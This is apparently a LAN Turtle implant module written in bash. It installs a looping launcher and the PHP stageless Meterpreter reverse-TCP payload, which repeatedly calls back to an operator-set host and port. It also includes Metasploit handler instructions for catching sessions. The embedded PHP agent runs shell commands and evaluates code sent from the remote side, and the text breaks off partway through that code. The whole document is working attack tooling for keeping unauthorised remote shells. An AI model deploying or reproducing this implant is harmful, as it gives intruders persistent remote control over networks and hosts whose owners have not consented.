#!/bin/bash /usr/lib/turtle/turtle_module # meterpreter-sl by IMcPwn # http://imcpwn.com VERSION="2.1" DESCRIPTION="Deprecated - requires firmware v6.1 or below. Stageless Metasploit payload to maintain shells" CONF=/tmp/meterpreter-sl.form AUTHOR=IMcPwn : ${DIALOG_OK=0} : ${DIALOG_CANCEL=1} : ${DIALOG_HELP=2} : ${DIALOG_EXTRA=3} : ${DIALOG_ESC=255} function start { if [ -s /etc/config/meterpreter-sl ] then meterpreter_sl_host=$(uci get meterpreter-sl.host) meterpreter_sl_port=$(uci get meterpreter-sl.port) meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep) if [[ $meterpreter_sl_host == "" ]] then echo "Stageless Meterpreter host not set" exit 1 fi if [[ $meterpreter_sl_port == "" ]] then echo "Stageless Meterpreter port not set" exit 1 fi if [[ $meterpreter_sl_sleep == "" ]] then echo "Stageless Meterpreter sleep time not set" exit 1 fi if [ ! -s /etc/turtle/meterpreter/meterpreter-sl-exec.py ] then echo -e "\nStageless Meterpreter looping script does not exist.\nCreating it now...\n" create_exec fi if [ ! -s /usr/bin/stageless-meterpreter ] then echo -e "\nPHP Stageless Meterpreter executable does not exist.\nCreating it now...\n" create_program fi echo "Starting stageless meterpreter on IP $meterpreter_sl_host and port $meterpreter_sl_port" touch /tmp/meterpreter-sl.lock echo "python /etc/turtle/meterpreter/meterpreter-sl-exec.py &" | at now echo "Stageless meterpreter started with pid" pgrep -f meterpreter-sl-exec.py else echo "Stageless Meterpreter not configured" fi } function stop { rm -f /tmp/meterpreter-sl.lock if pgrep -f meterpreter-sl-exec.py > /dev/null; then kill $(pgrep -f meterpreter-sl-exec.py); fi if pgrep -f stageless_meterpreter > /dev/null; then kill $(pgrep -f stageless_meterpreter); fi echo "Stageless Meterpreter stopped" } function status { if ps | grep -w -q [/]etc/turtle/meterpreter/meterpreter-sl-exec.py; then echo "1"; else echo "0"; fi } function configure { if [ -s /etc/config/meterpreter-sl ] then meterpreter_sl_host=$(uci get meterpreter-sl.host) meterpreter_sl_port=$(uci get meterpreter-sl.port) meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep) else touch /etc/config/meterpreter-sl fi dialog --ok-label "Submit" \ --help-button \ --title "Stageless Meterpreter Configuration" \ --form "PHP Stageless Meterpreter (Metasploit Module)\n\n\ Stageless Meterpreter connects to the host and port you specify.\nSleep Time is the delay in between each connection attempt.\n" 14 60 3\ "Listen Host:" 1 1 "$meterpreter_sl_host" 1 14 48 0 \ "Listen Port:" 2 1 "$meterpreter_sl_port" 2 14 48 0 \ "Sleep Time:" 3 1 "$meterpreter_sl_sleep" 3 14 48 0 \ 2>$CONF return=$? case $return in $DIALOG_OK) cat $CONF | { read -r meterpreter_sl_host read -r meterpreter_sl_port read -r meterpreter_sl_sleep uci set meterpreter-sl.host="$meterpreter_sl_host" uci set meterpreter-sl.port="$meterpreter_sl_port" uci set meterpreter-sl.sleep=$meterpreter_sl_sleep uci commit meterpreter-sl rm $CONF clear };; $DIALOG_HELP) dialog --title "Help" \ --msgbox "\ Host - IP or Hostname of target stageless meterpreter listener\n\ Port - Port number of target stageless meterpreter listener\n\ Sleep Time - Time stageless meterpreter waits in between each connection attempt\n \n\ use exploit/multi/handler \n\ # Handles multiple meterpreter sessions\n \n\ set PAYLOAD php/meterpreter_reverse_tcp \n\ # Setting for Stageless Reverse TCP Meterpreter\n \n\ set LHOST [host or ip] \n\ # Hostname or IP of listener\n \n\ set LPORT [port number] \n\ # Port of listener\n \n\ set ExitOnSession false \n\ # Let the exploit continue when meterpreter exists\n \n\ exploit -j \n\ # Make the exploit a backgroundable job\n \n\ sessions \n\ # Lists sessions\n \n\ sessions -i [number] \n\ # Interacts with session number\n \n\ " 20 74 configure ;; $DIALOG_CANCEL) rm $CONF clear exit;; $DIALOG_ESC) clear;; esac } function create_exec { mkdir -p /etc/turtle/meterpreter cat << EOF > /etc/turtle/meterpreter/meterpreter-sl-exec.py #!/usr/bin/python # meterpreter-sl-exec.py by IMcPwn # http://imcpwn.com import os import sys import subprocess import time DATE = subprocess.Popen("date", shell=True, stdout=subprocess.PIPE).stdout.read() DATE = DATE.replace("\n", "") HOST = subprocess.Popen("uci get meterpreter-sl.host", shell=True, stdout=subprocess.PIPE).stdout.read() HOST = HOST.replace("\n", "") PORT = subprocess.Popen("uci get meterpreter-sl.port", shell=True, stdout=subprocess.PIPE).stdout.read() PORT = PORT.replace("\n", "") SLEEP = subprocess.Popen("uci get meterpreter-sl.sleep", shell=True, stdout=subprocess.PIPE).stdout.read() SLEEP = SLEEP.replace("\n", "") STAGELESS_METERPRETER = "/usr/bin/stageless-meterpreter " + HOST + " " + PORT if HOST == "" or PORT == "": subprocess.call('/usr/bin/logger "Meterpreter: Error, configuration blank"', shell=True) print "Meterpreter: Error, configuration blank" try: os.remove("/tmp/meterpreter-sl.lock") except: pass sys.exit(1) else: while os.path.isfile("/tmp/meterpreter-sl.lock"): subprocess.call('/usr/bin/logger "Meterpreter: Started at $DATE with $HOST $PORT"', shell=True) print "Started Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT) subprocess.call(STAGELESS_METERPRETER, shell=True) time.sleep(float(SLEEP)) # Done! subprocess.call('/usr/bin/logger "Meterpreter: Stopped at $DATE with $HOST $PORT"', shell=True) print "Stopped Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT) print "\nTo run again, use \"start meterpreter-sl\" or create /tmp/meterpeter-sl.lock then execute this file again" print "To stop again, use \"stop meterpreter-sl\" or manually delete /tmp/meterpreter-sl.lock" try: os.remove("/tmp/meterpreter-sl.lock") except: pass EOF chmod +x /etc/turtle/meterpreter/meterpreter-sl-exec.py } function create_program { cat << EOF > /usr/bin/stageless-meterpreter #!/usr/bin/env /usr/bin/php-cli \$val) { if (is_array(\$val)) { dump_array(\$val, "{\$name}[{\$key}]"); } else { my_print(sprintf(" \$key (\$val)")); } } } function dump_readers() { global \$readers; dump_array(\$readers, 'Readers'); } function dump_resource_map() { global \$resource_type_map; dump_array(\$resource_type_map, 'Resource map'); } function dump_channels(\$extra = "") { global \$channels; dump_array(\$channels, 'Channels ' . \$extra); } if (!function_exists("file_get_contents")) { function file_get_contents(\$file) { \$f = @fopen(\$file, "rb"); \$contents = false; if (\$f) { do { \$contents .= fgets(\$f); } while (!feof(\$f)); } fclose(\$f); return \$contents; } } if (!function_exists('socket_set_option')) { function socket_set_option(\$sock, \$type, \$opt, \$value) { socket_setopt(\$sock, \$type, \$opt, \$value); } } define("PAYLOAD_UUID", "\x83\xac\x98\xe3\x99\x7a\x65\xca\xf2\x9c\xe1\x93\xa7\x78\x24\x80"); define("PACKET_TYPE_REQUEST", 0); define("PACKET_TYPE_RESPONSE", 1); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); define("ERROR_SUCCESS", 0); define("ERROR_FAILURE", 1); define("CHANNEL_CLASS_BUFFERED", 0); define("CHANNEL_CLASS_STREAM", 1); define("CHANNEL_CLASS_DATAGRAM", 2); define("CHANNEL_CLASS_POOL", 3); define("TLV_META_TYPE_NONE", (0)); define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); define("TLV_META_TYPE_QWORD", (1 << 20)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); define("TLV_META_TYPE_MASK", (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16)); define("TLV_RESERVED", 0); define("TLV_EXTENSIONS", 20000); define("TLV_USER", 40000); define("TLV_TEMP", 60000); define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); function my_cmd(\$cmd) { return shell_exec(\$cmd); } function is_windows() { return (strtoupper(substr(PHP_OS, 0, 3)) == "WIN"); } function core_channel_open(\$req, &\$pkt) { \$type_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_TYPE); my_print("Client wants a " . \$type_tlv['value'] . " channel, i'll see what i can do"); \$handler = "channel_create_" . \$type_tlv['value']; if (\$type_tlv['value'] && is_callable(\$handler)) { my_print("Calling {\$handler}"); \$ret = \$handler(\$req, \$pkt); } else { my_print("I don't know how to make a " . \$type_tlv['value'] . " channel. =("); \$ret = ERROR_FAILURE; } return \$ret; } function core_channel_eof(\$req, &\$pkt) { my_print("doing channel eof"); \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID); \$c = get_channel_by_id(\$chan_tlv['value']); if (\$c) { if (eof(\$c[1])) { packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 1)); } else { packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 0)); } return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } function core_channel_read(\$req, &\$pkt) { my_print("doing channel read"); \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID); \$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH); \$id = \$chan_tlv['value']; \$len = \$len_tlv['value']; \$data = channel_read(\$id, \$len); if (\$data === false) { \$res = ERROR_FAILURE; } else { packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data)); \$res = ERROR_SUCCESS; } return \$res; } function core_channel_write(\$req, &\$pkt) { \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID); \$data_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_DATA); \$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH); \$id = \$chan_tlv['value']; \$data = \$data_tlv['value']; \$len = \$len_tlv['value']; \$wrote = channel_write(\$id, \$data, \$len); if (\$wrote === false) { return ERROR_FAILURE; } else { packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, \$wrote)); return ERROR_SUCCESS; } } function core_channel_close(\$req, &\$pkt) { global \$channel_process_map; my_print("doing channel close"); \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID); \$id = \$chan_tlv['value']; \$c = get_channel_by_id(\$id); if (\$c) { channel_close_handles(\$id); channel_remove(\$id); if (array_key_exists(\$id, \$channel_process_map) and is_callable('close_process')) { close_process(\$channel_process_map[\$id]); } return ERROR_SUCCESS; } dump_channels("after close"); return ERROR_FAILURE; } function channel_close_handles(\$cid) { global \$channels; if (!array_key_exists(\$cid, \$channels)) { return; } \$c = \$channels[\$cid]; for (\$i = 0; \$i < 3; \$i++) { if (array_key_exists(\$i, \$c) && is_resource(\$c[\$i])) { close(\$c[\$i]); remove_reader(\$c[\$i]); } } if (strlen(\$c['data']) == 0) { channel_remove(\$cid); } } function channel_remove(\$cid) { global \$channels; unset(\$channels[\$cid]); } function core_channel_interact(\$req, &\$pkt) { global \$readers; my_print("doing channel interact"); \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID); \$id = \$chan_tlv['value']; \$toggle_tlv = packet_get_tlv(\$req, TLV_TYPE_BOOL); \$c = get_channel_by_id(\$id); if (\$c) { if (\$toggle_tlv['value']) { if (!in_array(\$c[1], \$readers)) { add_reader(\$c[1]); if (array_key_exists(2, \$c) && \$c[1] != \$c[2]) { add_reader(\$c[2]); } \$ret = ERROR_SUCCESS; } else { \$ret = ERROR_FAILURE; } } else { if (in_array(\$c[1], \$readers)) { remove_reader(\$c[1]); remove_reader(\$c[2]); \$ret = ERROR_SUCCESS; } else { \$ret = ERROR_SUCCESS; } } } else { my_print("Trying to interact with an invalid channel"); \$ret = ERROR_FAILURE; } return \$ret; } function interacting(\$cid) { global \$readers; \$c = get_channel_by_id(\$cid); if (in_array(\$c[1], \$readers)) { return true; } return false; } function core_shutdown(\$req, &\$pkt) { my_print("doing core shutdown"); die(); } function core_loadlib(\$req, &\$pkt) { global \$commands; my_print("doing core_loadlib"); \$data_tlv = packet_get_tlv(\$req, TLV_TYPE_DATA); if ((\$data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) { return ERROR_FAILURE; } \$tmp = \$commands; eval(\$data_tlv['value']); \$new = array_diff(\$commands, \$tmp); foreach (\$new as \$meth) { packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, \$meth)); } return ERROR_SUCCESS; } function core_uuid(\$req, &\$pkt) { my_print("doing core_uuid"); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID)); return ERROR_SUCCESS; } function get_hdd_label() { foreach (scandir('/dev/disk/by-id/') as \$file) { foreach (array( "ata-", "mb-" ) as \$prefix) { if (strpos(\$file, \$prefix) === 0) { return substr(\$file, strlen(\$prefix)); } } } return ""; } function core_machine_id(\$req, &\$pkt) { my_print("doing core_machine_id"); \$machine_id = gethostname(); \$serial = ""; if (is_windows()) { \$output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); \$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '\$1', \$output); } else { \$serial = get_hdd_label(); } packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_MACHINE_ID, \$serial . ":" . \$machine_id)); return ERROR_SUCCESS; } \$channels = array(); function register_channel(\$in, \$out = null, \$err = null) { global \$channels; if (\$out == null) { \$out = \$in; } if (\$err == null) { \$err = \$out; } \$channels[] = array( 0 => \$in, 1 => \$out, 2 => \$err, 'type' => get_rtype(\$in), 'data' => '' ); \$id = end(array_keys(\$channels)); my_print("Created new channel \$in, with id \$id"); return \$id; } function get_channel_id_from_resource(\$resource) { global \$channels; if (empty(\$channels)) { return false; } foreach (\$channels as \$i => \$chan_ary) { if (in_array(\$resource, \$chan_ary)) { my_print("Found channel id \$i"); return \$i; } } return false; } function get_channel_by_id(\$chan_id) { global \$channels; my_print("Looking up channel id \$chan_id"); if (array_key_exists(\$chan_id, \$channels)) { my_print("Found one"); return \$channels[\$chan_id]; } else { return false; } } function channel_write(\$chan_id, \$data) { \$c = get_channel_by_id(\$chan_id); if (\$c && is_resource(\$c[0])) { my_print("---Writing '\$data' to channel \$chan_id"); return write(\$c[0], \$data); } else { return false; } } function channel_read(\$chan_id, \$len) { \$c = get_channel_by_id(\$chan_id); if (\$c) { \$ret = substr(\$c['data'], 0, \$len); \$c['data'] = substr(\$c['data'], \$len); if (strlen(\$ret) > 0) { my_print("Had some leftovers: '\$ret'"); } if (strlen(\$ret) < \$len and is_resource(\$c[2]) and \$c[1] != \$c[2]) { \$read = read(\$c[2]); \$c['data'] .= \$read; \$bytes_needed = \$len - strlen(\$ret); \$ret .= substr(\$c['data'], 0, \$bytes_needed); \$c['data'] = substr(\$c['data'], \$bytes_needed); } if (strlen(\$ret) < \$len and is_resource(\$c[1])) { \$read = read(\$c[1]); \$c['data'] .= \$read; \$bytes_needed = \$len - strlen(\$ret); \$ret .= substr(\$c['data'], 0, \$bytes_needed); \$c['data'] = substr(\$c['data'], \$bytes_needed); } if (false === \$read and empty(\$ret)) { if (interacting(\$chan_id)) { handle_dead_resource_channel(\$c[1]); } return false; } return \$ret; } else { return false; } } function generate_req_id() { \$characters = 'abcdefghijklmnopqrstuvwxyz'; \$rid = ''; for (\$p = 0; \$p < 32; \$p++) { \$rid .= \$characters[rand(0, strlen(\$characters) - 1)]; } return \$rid; } function handle_dead_resource_channel(\$resource) { global \$msgsock; if (!is_resource(\$resource)) { return; } \$cid = get_channel_id_from_resource(\$resource); if (\$cid === false) { my_print("Resource has no channel: {\$resource}"); remove_reader(\$resource); close(\$resource); } else { my_print("Handling dead resource: {\$resource}, for channel: {\$cid}"); channel_close_handles(\$cid); \$pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid)); \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt; write(\$msgsock, \$pkt); } return; } function handle_resource_read_channel(\$resource, \$data) { global \$udp_host_map; \$cid = get_channel_id_from_resource(\$resource); my_print("Handling data from \$resource"); \$pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); if (array_key_exists((int) \$resource, \$udp_host_map)) { list(\$h, \$p) = \$udp_host_map[(int) \$resource]; packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_HOST, \$h)); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_PORT, \$p)); } packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid)); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data)); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, strlen(\$data))); packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt; return \$pkt; } function create_response(\$req) { \$pkt = pack("N", PACKET_TYPE_RESPONSE); \$method_tlv = packet_get_tlv(\$req, TLV_TYPE_METHOD); my_print("method is {\$method_tlv['value']}"); packet_add_tlv(\$pkt, \$method_tlv); \$reqid_tlv = packet_get_tlv(\$req, TLV_TYPE_REQUEST_ID); packet_add_tlv(\$pkt, \$reqid_tlv); if (is_callable(\$method_tlv['value'])) { \$result = \$method_tlv['value'](\$req, \$pkt); } else { my_print("Got a request for something I don't know how to handle (" . \$method_tlv['value'] . "), returning failure"); \$result = ERROR_FAILURE; } packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_RESULT, \$result)); \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt; return \$pkt; } function create_tlv(\$type, \$val) { return array( 'type' => \$type, 'value' => \$val ); } function tlv_pack(\$tlv) { \$ret = ""; if ((\$tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { \$ret = pack("NNa*", 8 + strlen(\$tlv['value']) + 1, \$tlv['type'], \$tlv['value'] . "\0"); } elseif ((\$tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { \$hi = (\$tlv['value'] >> 32) & 0xFFFFFFFF; \$lo = \$tlv['value'] & 0xFFFFFFFF; \$ret = pack("NNNN", 8 + 8, \$tlv['type'], \$hi, \$lo); } elseif ((\$tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { \$ret = pack("NNN", 8 + 4, \$tlv['type'], \$tlv['value']); } elseif ((\$tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { \$ret = pack("NN", 8 + 1, \$tlv['type']); \$ret .= \$tlv['value'] ? "\x01" : "\x00"; } elseif ((\$tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value']; } elseif ((\$tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value']; } elseif ((\$tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value']; } else { my_print("Don't know how to make a tlv of type " . \$tlv['type'] . " (meta type " . sprintf("%08x", \$tlv['type'] & TLV_META_TYPE_MASK) . "), wtf"); } return \$ret; } function tlv_unpack(\$raw_tlv) { \$tlv = unpack("Nlen/Ntype", substr(\$raw_tlv, 0, 8)); \$type = \$tlv['type']; my_print("len: {\$tlv['len']}, type: {\$tlv['type']}"); if ((\$type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { \$tlv = unpack("Nlen/Ntype/a*value", substr(\$raw_tlv, 0, \$tlv['len'])); \$tlv['value'] = str_replace("\0", "", \$tlv['value']); } elseif ((\$type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { \$tlv = unpack("Nlen/Ntype/Nvalue", substr(\$raw_tlv, 0, \$tlv['len'])); } elseif ((\$type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { \$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr(\$raw_tlv, 0, \$tlv['len'])); \$tlv['value'] = \$tlv['hi'] << 32 | \$tlv['lo']; } elseif ((\$type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { \$tlv = unpack("Nlen/Ntype/cvalue", substr(\$raw_tlv, 0, \$tlv['len'])); } elseif ((\$type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { \$tlv = unpack("Nlen/Ntype", \$raw_tlv); \$tlv['value'] = substr(\$raw_tlv, 8, \$tlv['len'] - 8); } else { my_print("Wtf type is this? \$type"); \$tlv = null; } return \$tlv; } function packet_add_tlv(&\$pkt, \$tlv) { \$pkt .= tlv_pack(\$tlv); } function packet_get_tlv(\$pkt, \$type) { \$offset = 8; while (\$offset < strlen(\$pkt)) { \$tlv = tlv_unpack(substr(\$pkt, \$offset)); if (\$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { return \$tlv; } \$offset += \$tlv['len']; } return false; } function packet_get_all_tlvs(\$pkt, \$type) { my_print("Looking for all tlvs of type \$type"); \$offset = 8; \$all = array(); while (\$offset < strlen(\$pkt)) { \$tlv = tlv_unpack(substr(\$pkt, \$offset)); if (\$tlv == NULL) { break; } my_print("len: {\$tlv['len']}, type: {\$tlv['type']}"); if (empty(\$type) || \$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { my_print("Found one at offset \$offset"); array_push(\$all, \$tlv); } \$offset += \$tlv['len']; } return \$all; } function register_socket(\$sock, \$ipaddr = null, \$port = null) { global \$resource_type_map, \$udp_host_map; my_print("Registering socket \$sock for (\$ipaddr:\$port)"); \$resource_type_map[(int) \$sock] = 'socket'; if (\$ipaddr) { \$udp_host_map[(int) \$sock] = array( \$ipaddr, \$port ); } } function register_stream(\$stream, \$ipaddr = null, \$port = null) { global \$resource_type_map, \$udp_host_map; my_print("Registering stream \$stream for (\$ipaddr:\$port)"); \$resource_type_map[(int) \$stream] = 'stream'; if (\$ipaddr) { \$udp_host_map[(int) \$stream] = array( \$ipaddr, \$port ); } } function connect(\$ipaddr, \$port, \$proto = 'tcp') { my_print("Doing connect(\$ipaddr, \$port)"); \$sock = false; \$raw_ip = \$ipaddr; if (FALSE !== strpos(\$ipaddr, ":")) { \$ipf = AF_INET6; \$ipaddr = "[" . \$raw_ip . "]"; } if (is_callable('stream_socket_client')) { my_print("stream_socket_client({\$proto}://{\$ipaddr}:{\$port})"); \$sock = stream_socket_client("{\$proto}://{\$ipaddr}:{\$port}"); my_print("Got a sock: \$sock"); if (!\$sock) { return false; } if (\$proto == 'tcp') { register_stream(\$sock); } elseif (\$proto == 'udp') { register_stream(\$sock, \$ipaddr, \$port); } else { my_print("WTF proto is this: '\$proto'"); } } else if (is_callable('fsockopen')) { my_print("fsockopen"); if (\$proto == 'tcp') { \$sock = fsockopen(\$ipaddr, \$port); if (!\$sock) { return false; } if (is_callable('socket_set_timeout')) { socket_set_timeout(\$sock, 2); } register_stream(\$sock); } else { \$sock = fsockopen(\$proto . "://" . \$ipaddr, \$port); if (!\$sock) { return false; } register_stream(\$sock, \$ipaddr, \$port); } } else if (is_callable('socket_create')) { my_print("socket_create"); if (\$proto == 'tcp') { \$sock = socket_create(\$ipf, SOCK_STREAM, SOL_TCP); \$res = socket_connect(\$sock, \$raw_ip, \$port); if (!\$res) { return false; } register_socket(\$sock); } elseif (\$proto == 'udp') { \$sock = socket_create(\$ipf, SOCK_DGRAM, SOL_UDP); register_socket(\$sock, \$raw_ip, \$port); } } return \$sock; } function eof(\$resource) { \$ret = false; switch (get_rtype(\$resource)) { case 'socket': break; case 'stream': \$ret = feof(\$resource); break; } return \$ret; } function close(\$resource) { my_print("Closing resource \$resource"); global \$resource_type_map, \$udp_host_map; remove_reader(\$resource); switch (get_rtype(\$resource)) { case 'socket': \$ret = socket_close(\$resource); break; case 'stream': \$ret = fclose(\$resource); break; } if (array_key_exists((int) \$resource, \$resource_type_map)) { unset(\$resource_type_map[(int) \$resource]); } if (array_key_exists((int) \$resource, \$udp_host_map)) { my_print("Removing \$resource from udp_host_map"); unset(\$udp_host_map[(int) \$resource]); } return \$ret; } function read(\$resource, \$len = null) { global \$udp_host_map; if (is_null(\$len)) { \$len = 8192; } \$buff = ''; switch (get_rtype(\$resource)) { case 'socket': if (array_key_exists((int) \$resource, \$udp_host_map)) { my_print("Reading UDP socket"); list(\$host, \$port) = \$udp_host_map[(int) \$resource]; socket_recvfrom(\$resource, \$buff, \$len, PHP_BINARY_READ, \$host, \$port); } else { my_print("Reading TCP socket"); \$buff .= socket_read(\$resource, \$len, PHP_BINARY_READ); } break; case 'stream': global \$msgsock; \$r = Array( \$resource ); my_print("Calling select to see if there's data on \$resource"); while (true) { \$w = NULL; \$e = NULL; \$t = 0; \$cnt = stream_select(\$r, \$w, \$e, \$t); if (\$cnt === 0) { break; } if (\$cnt === false or feof(\$resource)) { my_print("Checking for failed read..."); if (empty(\$buff)) { my_print("---- EOF ON \$resource ----"); \$buff = false; } break; } \$md = stream_get_meta_data(\$resource); dump_array(\$md); if (\$md['unread_bytes'] > 0) { \$buff .= fread(\$resource, \$md['unread_bytes']); break; } else { \$tmp = fread(\$resource, \$len); \$buff .= \$tmp; if (strlen(\$tmp) < \$len) { break; } } if (\$resource != \$msgsock) { my_print("buff: '\$buff'"); } \$r = Array( \$resource ); } my_print(sprintf("Done with the big read loop on \$resource, got %d bytes", strlen(\$buff))); break; default: \$cid = get_channel_id_from_resource(\$resource); \$c = get_channel_by_id(\$cid); if (\$c and \$c['data']) { \$buff = substr(\$c['data'], 0, \$len); \$c['data'] = substr(\$c['data'], \$len); my_print("Aha! got some leftovers"); } else { my_print("Wtf don't know how to read from resource \$resource, c: \$c"); if (is_array(\$c)) { dump_array(\$c); } break; } } my_print(sprintf("Read %d bytes", strlen(\$buff))); return \$buff; } function write(\$resource, \$buff, \$len = 0) { global \$udp_host_map; if (\$len == 0) { \$len = strlen(\$buff); } \$count = false; switch (get_rtype(\$resource)) { case 'socket': if (array_key_exists((int) \$resource, \$udp_host_map)) { my_print("Writing UDP socket"); list(\$host, \$port) = \$udp_host_map[(int) \$resource]; \$count = socket_sendto(\$resource, \$buff, \$len, \$host, \$port); } else { \$count = socket_write(\$resource, \$buff, \$len); } break; case 'stream': \$count = fwrite(\$resource, \$buff, \$len); fflush(\$resource); break; default: my_print("Wtf don't know how to write to resource \$resource"); break; } return \$count; } function get_rtype(\$resource) { global \$resource_type_map; if (array_key_exists((int) \$resource, \$resource_type_map)) { return \$resource_type_map[(int) \$resource]; } return false; } function select(&\$r, &\$w, &\$e, \$tv_sec = 0, \$tv_usec = 0) { \$streams_r = array(); \$streams_w = array(); \$streams_e = array(); \$sockets_r = array(); \$sockets_w = array(); \$sockets_e = array(); if (\$r) { foreach (\$r as \$resource) { switch (get_rtype(\$resource)) { case 'socket': \$sockets_r[] = \$resource; break; case 'stream': \$streams_r[] = \$resource; break; default: my_print("Unknown resource type"); break; } } } if (\$w) { foreach (\$w as \$resource) { switch (get_rtype(\$resource)) { case 'socket': \$sockets_w[] = \$resource; break; case 'stream': \$streams_w[] = \$resource; break; default: my_print("Unknown resource type"); break; } } } if 